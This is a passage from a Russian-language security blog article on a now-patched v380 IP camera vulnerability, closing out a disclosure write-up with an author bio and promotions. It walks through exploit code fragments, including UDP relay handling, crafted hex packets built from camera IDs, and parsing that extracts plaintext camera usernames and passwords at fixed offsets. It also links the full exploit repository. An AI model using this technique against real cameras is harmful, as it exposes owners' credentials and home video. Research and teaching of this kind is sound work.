  • Retry 4: ~16 секунд

Random jitter предотвращает thundering herd problem.

Queue для межкорутинной коммуникации:

# Создаем очередь для результата
local_relay_queue = asyncio.Queue()

# DataHandler помещает результат в очередь
data_handler_instance = DataHandler(
    camera_id=camera_id,
    relay_queue=local_relay_queue
)

# Ждем результата с таймаутом
try:
    result = await asyncio.wait_for(
        local_relay_queue.get(), 
        timeout=3
    )
except asyncio.TimeoutError:
    return None

Это pattern producer-consumer: DataHandler производит данные при получении пакетов, основной код потребляет из очереди.

Обработка UDP и TCP протоколов

Эксплойт использует оба протокола с разными целями.

TCP клиент для checker сервера:

class TCPClient:
    async def send_data(self, data, timeout):
        try:
            # Асинхронное TCP соединение
            reader, writer = await asyncio.wait_for(
                asyncio.open_connection(self.server, self.port),
                timeout=timeout
            )
            
            # Отправка данных
            writer.write(data)
            await writer.drain()
            
            # Чтение ответа
            response = await reader.read(4096)
            return response
            
        finally:
            if writer:
                writer.close()
                await writer.wait_closed()

TCP используется для checker сервера потому что нужна гарантия доставки и порядка пакетов.

Custom UDP протокол для relay:

class UDPClientProtocol(asyncio.DatagramProtocol):
    def __init__(self, on_con_lost, data_handler, loop):
        self.loop = loop
        self.on_con_lost = on_con_lost
        self.data_handler = data_handler
        self.active = True
        self.transport = None
    
    def datagram_received(self, data, addr):
        """Вызывается при получении каждого UDP пакета"""
        if self.active and self.data_handler is not None:
            # Асинхронно обрабатываем пакет
            asyncio.create_task(self.data_handler(data, self))
    
    def connection_made(self, transport):
        self.transport = transport
    
    def connection_lost(self, exc):
        if not self.on_con_lost.done():
            self.on_con_lost.set_result(True)

UDP выбран для relay потому что:

  • Lower latency (нет TCP handshake)

  • Better для NAT traversal

  • Используется в оригинальном протоколе v380

Graceful shutdown:

try:
    transport.sendto(data)
    await asyncio.wait_for(on_con_lost, timeout)
except asyncio.TimeoutError:
    pass
finally:
    transport.close()

Всегда закрываем транспорты даже при исключениях, предотвращая утечку file descriptors.

Парсинг бинарных протоколов

Работа с бинарными данными требует понимания структур и форматов.

Hex encoding/decoding:

# String ID → Hex
camera_id = "19348439"
hexID = bytes(str(camera_id), 'utf-8').hex()
# Result: "3139333438343339"

# Формирование пакета из hex строк
data = 'ac000000f3030000' + hexID + '2e6e766476722e6e6574...'
data = bytes.fromhex(data)

Каждый байт представлен двумя hex символами. 'ac' → байт 0xAC (172 в decimal).

Struct unpacking для network byte order:

import struct

# Извлекаем unsigned short (2 байта) в little-endian
relay_port = struct.unpack('<H', data[50:52])[0]

# '<H' означает:
# < = little-endian byte order
# H = unsigned short (2 bytes)

Network protocols часто используют different byte orders:

  • Network byte order обычно big-endian

  • x86/x64 системы little-endian

  • Нужно знать спецификацию протокола

Поиск null-terminated strings:

def extract_string(data, start_index):
    """Извлекает C-style string"""
    # Ищем null byte начиная с start_index
    end_index = data.find(b'\x00', start_index)
    
    # Извлекаем и декодируем UTF-8
    return data[start_index:end_index].decode('utf-8').strip()

# Использование:
username = extract_string(data, 0x08)   # offset 8
password = extract_string(data, 0x3a)   # offset 58

v380 использует null-terminated strings как в C. Конец строки обозначен байтом 0x00.

Fixed offset extraction:

Когда структура пакета известна, используем фиксированные offsets:

# Структура пакета relay server response:
# Bytes 1-9:   Device ID (8 bytes ASCII)
# Bytes 33-X:  Relay hostname (null-terminated)
# Bytes 50-52: Relay port (2 bytes little-endian)

device_id = data[1:9].decode('utf-8')
relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8')
relay_port = struct.unpack('<H', data[50:52])[0]

Это reverse engineering — анализ трафика в Wireshark, определение где какие данные, документирование структуры.

Заключение

История уязвимости v380 — это урок о важности security в IoT устройствах. Миллионы устройств, установленных в домах по всему миру, были уязвимы из-за базовых ошибок в дизайне протокола: plaintext credentials, незащищенные relay-серверы, отсутствие шифрования.

Но это также история о том, как responsible disclosure работает. Вместо эксплуатации уязвимости или продажи эксплойта, я связался с производителем. Мы совместно закрыли проблему, защитив миллионы пользователей. Теперь, когда патч развернут, код открыт для образовательных целей.

Что должны вынести разработчики IoT:

  • Security нельзя добавить потом, это fundamental design decision

  • Plaintext credentials — недопустимо в 2025 году

  • End-to-end encryption обязательна для sensitive data

  • Regular security audits и penetration testing критичны

  • Responsible disclosure programs должны быть у каждой компании

Что должны вынести security researchers:

  • IoT — огромное поле для исследований

  • Большинство IoT устройств имеют серьезные уязвимости

  • Responsible disclosure — правильный путь

  • Публикация кода после патча помогает community

Что должны вынести пользователи:

  • Обновляйте firmware регулярно

  • Используйте сильные уникальные пароли

  • Сегментируйте IoT устройства в отдельную сеть

  • Рассмотрите VPN для защиты IoT трафика

Репозиторий с полным кодом эксплойта открыт для изучения: github.com/Romaxa55/v380_cams_hack

Security research продолжается. Я планирую проанализировать другие популярные IoT бренды и надеюсь найти их более защищенными, чем v380 до патча.

Ресурсы и дальнейшее чтение

Исходный код эксплойта:

IoT Security стандарты и best practices:

Responsible Disclosure:

  • Google Project Zero Disclosure Policy

  • HackerOne Best Practices

  • ISO/IEC 29147 Vulnerability Disclosure

Защита IoT устройств:

  • Router-level VPN setup guides

  • Network segmentation tutorials

  • Modern encryption protocols (VLESS, Reality)

Об авторе

Я security researcher и разработчик, специализирующийся на reverse engineering и анализе IoT устройств. Последние пять лет работаю над проектом MegaV VPN — приложением для безопасности, использующим современные технологии военного шифрования (VLESS, Reality). Моя статья о протоколе VLESS на Habr набрала более 146,000 просмотров.

Мой путь в security начался с curiosity: как работают вещи, которые нас окружают? IoT устройства особенно интересны, потому что они повсюду, доверяются миллионами людей, но часто имеют фатальные уязвимости.

Уязвимость v380 я обнаружил во время более широкого исследования безопасности IP-камер. Анализировал трафик разных брендов в Wireshark и был шокирован, увидев plaintext credentials в пакетах v380. Это побудило создать proof-of-concept и связаться с производителем.

Я верю в responsible disclosure и open source security research. Когда уязвимости закрыты, знания должны быть доступны community для обучения и предотвращения похожих ошибок в будущем.

Работа с китайскими разработчиками:

Хочу отдельно отметить профессионализм команды v380. Несмотря на языковой барьер и разницу в часовых поясах, мы наладили эффективную коммуникацию и совместно закрыли уязвимость. Я глубоко уважаю китайскую культуру, их ценности и подход к решению проблем. Китайские разработчики продемонстрировали ответственность и быстроту реагирования, что заслуживает высокой оценки.

Текущие проекты и партнеры: [реклама удалена мод.]

  • MegaV VPN (megav.app) — приложение для безопасности с современными технологиями военного шифрования: VLESS, Reality, VMess. Более 146K просмотров статьи на Habr

  • AppLikeWeb — партнерский стартап по конвертации веб-сайтов в нативные мобильные и desktop приложения (Android, iOS, Windows, macOS, Linux)

  • PinVPS — партнерский провайдер с дата-центрами в Испании. AMD Ryzen процессоры, NVMe SSD, отличное соотношение цена/производительность

  • VPN Protocol Benchmarks — бенчмарки производительности современных VPN протоколов

  • VLESS Configs — коллекция production-ready конфигураций для V2Ray/Xray

  • IoT Security Research — анализ безопасности популярных IoT устройств

Связь:

Если вы исследователь безопасности, интересуетесь IoT, VPN технологиями или разработкой мобильных приложений — буду рад обсудить и обменяться опытом.


Disclaimer: Этот материал предоставлен исключительно в образовательных целях. Использование описанных техник против систем без разрешения владельцев незаконно. Автор и репозиторий не несут ответственности за неправомерное использование информации.

Комментарии (1)


  1. Wesha
    14.11.2025 23:04

    “In IoT, S stands for Security” ©

    И это ещё наговнокожено чело китайцем. А представьте, что будет, когда оно будет набрежено LLM...